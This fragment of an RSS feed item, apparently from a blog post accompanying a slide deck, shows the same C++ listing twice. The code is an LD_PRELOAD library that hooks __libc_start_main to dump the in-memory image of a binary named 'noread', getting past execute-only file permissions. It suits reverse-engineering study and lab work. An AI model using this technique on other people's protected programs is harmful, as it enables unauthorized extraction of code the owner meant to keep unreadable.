&lt;iframe src="https://docs.google.com/presentation/d/e/2PACX-1vRZu0TswsXPQqjXJc-p2kPs0BKF9-t-GIi0nQGoWdsELq_CzVX-mtj93f8B5M3FwYNR3948srQmBn8O/embed?start=false&amp;loop=false&amp;delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true">&lt;/iframe>
&lt;/div>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-cpp" data-lang="cpp">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#define _GNU_SOURCE
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;dlfcn.h&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;libgen.h&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f"> &lt;/span>&lt;span style="color:#6c7986">//basename
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;iostream&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;string&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;fstream&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#include&lt;/span> &lt;span style="color:#fd8f3f">&amp;lt;vector&amp;gt;&lt;/span>&lt;span style="color:#fd8f3f">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">using&lt;/span> &lt;span style="color:#fc5fa3">namespace&lt;/span> std;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">#define BINNAME &amp;#34;noread&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fd8f3f">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">extern&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;C&amp;#34;&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> fake_main(&lt;span style="color:#fc5fa3">int&lt;/span> argc, &lt;span style="color:#fc5fa3">char&lt;/span>** argv, &lt;span style="color:#fc5fa3">char&lt;/span>** envp) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fstream &lt;span style="color:#41a1c0">maps&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;/proc/self/maps&amp;#34;&lt;/span>, fstream::in);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> string addrs;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> string nocare;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> string name;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">long&lt;/span> last = (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">long&lt;/span>)-&lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vector&amp;lt;string&amp;gt; dumps;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vector&amp;lt;string&amp;gt; starts;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vector&amp;lt;string&amp;gt; ends;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">while&lt;/span>(maps.good()) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> maps &amp;gt;&amp;gt; addrs;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> maps &amp;gt;&amp;gt; nocare;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> maps &amp;gt;&amp;gt; nocare;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> maps &amp;gt;&amp;gt; nocare;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> maps &amp;gt;&amp;gt; nocare;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> getline(maps, name);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span>(string(basename((&lt;span style="color:#fc5fa3">char&lt;/span>*)name.c_str())) != BINNAME)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">continue&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> size_t minus = addrs.find(&lt;span style="color:#fc6a5d">&amp;#34;-&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> string start_str = addrs.substr(&lt;span style="color:#d0bf69">0&lt;/span>, minus);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> string end_str = addrs.substr(minus +&lt;span style="color:#d0bf69">1&lt;/span>, addrs.size() - minus -&lt;span style="color:#d0bf69">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">long&lt;/span> start = stol(start_str, &lt;span style="color:#d0bf69">0&lt;/span>, &lt;span style="color:#d0bf69">16&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">long&lt;/span> end = stol(end_str, &lt;span style="color:#d0bf69">0&lt;/span>, &lt;span style="color:#d0bf69">16&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span>(last == start) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dumps.back() += string((&lt;span style="color:#fc5fa3">char&lt;/span>*)start, end - start);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ends.back() = end_str;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dumps.push_back(string((&lt;span style="color:#fc5fa3">char&lt;/span>*)start, end - start));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> starts.push_back(start_str);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ends.push_back(end_str);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> last = end;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> maps.close();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span>(size_t i = &lt;span style="color:#d0bf69">0&lt;/span>; i &amp;lt; dumps.size(); ++i) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> string outname = BINNAME &lt;span style="color:#fc6a5d">&amp;#34;-dump-&amp;#34;&lt;/span> + starts[i] + &lt;span style="color:#fc6a5d">&amp;#34;-&amp;#34;&lt;/span> + ends[i] + &lt;span style="color:#fc6a5d">&amp;#34;.bin&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fstream &lt;span style="color:#41a1c0">out&lt;/span>(outname, fstream::binary | fstream::out);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> out &amp;lt;&amp;lt; dumps[i];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> out.close();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cout &amp;lt;&amp;lt; &lt;span style="color:#fc6a5d">&amp;#34;dumped: [&amp;#34;&lt;/span> &amp;lt;&amp;lt; starts[i] &amp;lt;&amp;lt; &lt;span style="color:#fc6a5d">&amp;#34;, &amp;#34;&lt;/span> &amp;lt;&amp;lt; ends[i] &amp;lt;&amp;lt; &lt;span style="color:#fc6a5d">&amp;#34;]&amp;#34;&lt;/span> &amp;lt;&amp;lt; endl;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">//use LD_BIND_NOW LD_PRELOAD
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">extern&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;C&amp;#34;&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> __libc_start_main (&lt;span style="color:#fc5fa3">int&lt;/span> (*main)(&lt;span style="color:#fc5fa3">int&lt;/span>, &lt;span style="color:#fc5fa3">char&lt;/span>**, &lt;span style="color:#fc5fa3">char&lt;/span>**), &lt;span style="color:#fc5fa3">int&lt;/span> argc, &lt;span style="color:#fc5fa3">char&lt;/span> * * ubp_av, &lt;span style="color:#fc5fa3">void&lt;/span> (*init) (&lt;span style="color:#fc5fa3">void&lt;/span>), &lt;span style="color:#fc5fa3">void&lt;/span> (*fini) (&lt;span style="color:#fc5fa3">void&lt;/span>), &lt;span style="color:#fc5fa3">void&lt;/span> (*rtld_fini) (&lt;span style="color:#fc5fa3">void&lt;/span>), &lt;span style="color:#fc5fa3">void&lt;/span> (* stack_end)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">auto&lt;/span> functor = (&lt;span style="color:#fc5fa3">int&lt;/span> (*)(&lt;span style="color:#fc5fa3">int&lt;/span> (*) (&lt;span style="color:#fc5fa3">int&lt;/span>, &lt;span style="color:#fc5fa3">char&lt;/span>**, &lt;span style="color:#fc5fa3">char&lt;/span>**), &lt;span style="color:#fc5fa3">int&lt;/span>, &lt;span style="color:#fc5fa3">char&lt;/span>**, &lt;span style="color:#fc5fa3">void&lt;/span> (*) (&lt;span style="color:#fc5fa3">void&lt;/span>), &lt;span style="color:#fc5fa3">void&lt;/span> (*) (&lt;span style="color:#fc5fa3">void&lt;/span>), &lt;span style="color:#fc5fa3">void&lt;/span> (*) (&lt;span style="color:#fc5fa3">void&lt;/span>), &lt;span style="color:#fc5fa3">void&lt;/span> (*)))dlsym(RTLD_NEXT, &lt;span style="color:#fc6a5d">&amp;#34;__libc_start_main&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#41a1c0">functor&lt;/span>(&amp;amp;fake_main, argc, ubp_av, init, fini, rtld_fini, stack_end);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description><content type="html"><![CDATA[<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
    <iframe src="https://docs.google.com/presentation/d/e/2PACX-1vRZu0TswsXPQqjXJc-p2kPs0BKF9-t-GIi0nQGoWdsELq_CzVX-mtj93f8B5M3FwYNR3948srQmBn8O/embed?start=false&loop=false&delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>
</div>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fd8f3f">#define _GNU_SOURCE
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;dlfcn.h&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;stdio.h&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;stdlib.h&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;libgen.h&gt;</span><span style="color:#fd8f3f"> </span><span style="color:#6c7986">//basename
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;iostream&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;string&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;fstream&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;vector&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">using</span> <span style="color:#fc5fa3">namespace</span> std;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define BINNAME &#34;noread&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">extern</span> <span style="color:#fc6a5d">&#34;C&#34;</span> <span style="color:#fc5fa3">int</span> fake_main(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">char</span>** argv, <span style="color:#fc5fa3">char</span>** envp) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    fstream <span style="color:#41a1c0">maps</span>(<span style="color:#fc6a5d">&#34;/proc/self/maps&#34;</span>, fstream::in);
</span></span><span style="display:flex;"><span>    string addrs;
</span></span><span style="display:flex;"><span>    string nocare;
</span></span><span style="display:flex;"><span>    string name;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">long</span> last = (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">long</span>)-<span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>    vector&lt;string&gt; dumps;
</span></span><span style="display:flex;"><span>    vector&lt;string&gt; starts;
</span></span><span style="display:flex;"><span>    vector&lt;string&gt; ends;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">while</span>(maps.good()) {
</span></span><span style="display:flex;"><span>        maps &gt;&gt; addrs;
</span></span><span style="display:flex;"><span>        maps &gt;&gt; nocare;
</span></span><span style="display:flex;"><span>        maps &gt;&gt; nocare;
</span></span><span style="display:flex;"><span>        maps &gt;&gt; nocare;
</span></span><span style="display:flex;"><span>        maps &gt;&gt; nocare;
</span></span><span style="display:flex;"><span>        getline(maps, name);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span>(string(basename((<span style="color:#fc5fa3">char</span>*)name.c_str())) != BINNAME)
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">continue</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        size_t minus = addrs.find(<span style="color:#fc6a5d">&#34;-&#34;</span>);
</span></span><span style="display:flex;"><span>        string start_str = addrs.substr(<span style="color:#d0bf69">0</span>, minus);
</span></span><span style="display:flex;"><span>        string end_str = addrs.substr(minus +<span style="color:#d0bf69">1</span>, addrs.size() - minus -<span style="color:#d0bf69">1</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">long</span> start = stol(start_str, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">16</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">long</span> end = stol(end_str, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">16</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span>(last == start) {
</span></span><span style="display:flex;"><span>            dumps.back() += string((<span style="color:#fc5fa3">char</span>*)start, end - start);
</span></span><span style="display:flex;"><span>            ends.back() = end_str;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>            dumps.push_back(string((<span style="color:#fc5fa3">char</span>*)start, end - start));
</span></span><span style="display:flex;"><span>            starts.push_back(start_str);
</span></span><span style="display:flex;"><span>            ends.push_back(end_str);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        last = end;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    maps.close();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span>(size_t i = <span style="color:#d0bf69">0</span>; i &lt; dumps.size(); ++i) {
</span></span><span style="display:flex;"><span>        string outname = BINNAME <span style="color:#fc6a5d">&#34;-dump-&#34;</span> + starts[i] + <span style="color:#fc6a5d">&#34;-&#34;</span> + ends[i] + <span style="color:#fc6a5d">&#34;.bin&#34;</span>;
</span></span><span style="display:flex;"><span>        fstream <span style="color:#41a1c0">out</span>(outname, fstream::binary | fstream::out);
</span></span><span style="display:flex;"><span>        out &lt;&lt; dumps[i];
</span></span><span style="display:flex;"><span>        out.close();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        cout &lt;&lt; <span style="color:#fc6a5d">&#34;dumped: [&#34;</span> &lt;&lt; starts[i] &lt;&lt; <span style="color:#fc6a5d">&#34;, &#34;</span> &lt;&lt; ends[i] &lt;&lt; <span style="color:#fc6a5d">&#34;]&#34;</span> &lt;&lt; endl;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">//use LD_BIND_NOW LD_PRELOAD
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">extern</span> <span style="color:#fc6a5d">&#34;C&#34;</span> <span style="color:#fc5fa3">int</span> __libc_start_main (<span style="color:#fc5fa3">int</span> (*main)(<span style="color:#fc5fa3">int</span>, <span style="color:#fc5fa3">char</span>**, <span style="color:#fc5fa3">char</span>**), <span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">char</span> * * ubp_av, <span style="color:#fc5fa3">void</span> (*init) (<span style="color:#fc5fa3">void</span>), <span style="color:#fc5fa3">void</span> (*fini) (<span style="color:#fc5fa3">void</span>), <span style="color:#fc5fa3">void</span> (*rtld_fini) (<span style="color:#fc5fa3">void</span>), <span style="color:#fc5fa3">void</span> (* stack_end)) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">auto</span> functor = (<span style="color:#fc5fa3">int</span> (*)(<span style="color:#fc5fa3">int</span> (*) (<span style="color:#fc5fa3">int</span>, <span style="color:#fc5fa3">char</span>**, <span style="color:#fc5fa3">char</span>**), <span style="color:#fc5fa3">int</span>, <span style="color:#fc5fa3">char</span>**, <span style="color:#fc5fa3">void</span> (*) (<span style="color:#fc5fa3">void</span>), <span style="color:#fc5fa3">void</span> (*) (<span style="color:#fc5fa3">void</span>), <span style="color:#fc5fa3">void</span> (*) (<span style="color:#fc5fa3">void</span>), <span style="color:#fc5fa3">void</span> (*)))dlsym(RTLD_NEXT, <span style="color:#fc6a5d">&#34;__libc_start_main&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#41a1c0">functor</span>(&amp;fake_main, argc, ubp_av, init, fini, rtld_fini, stack_end);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content></item></channel></rss>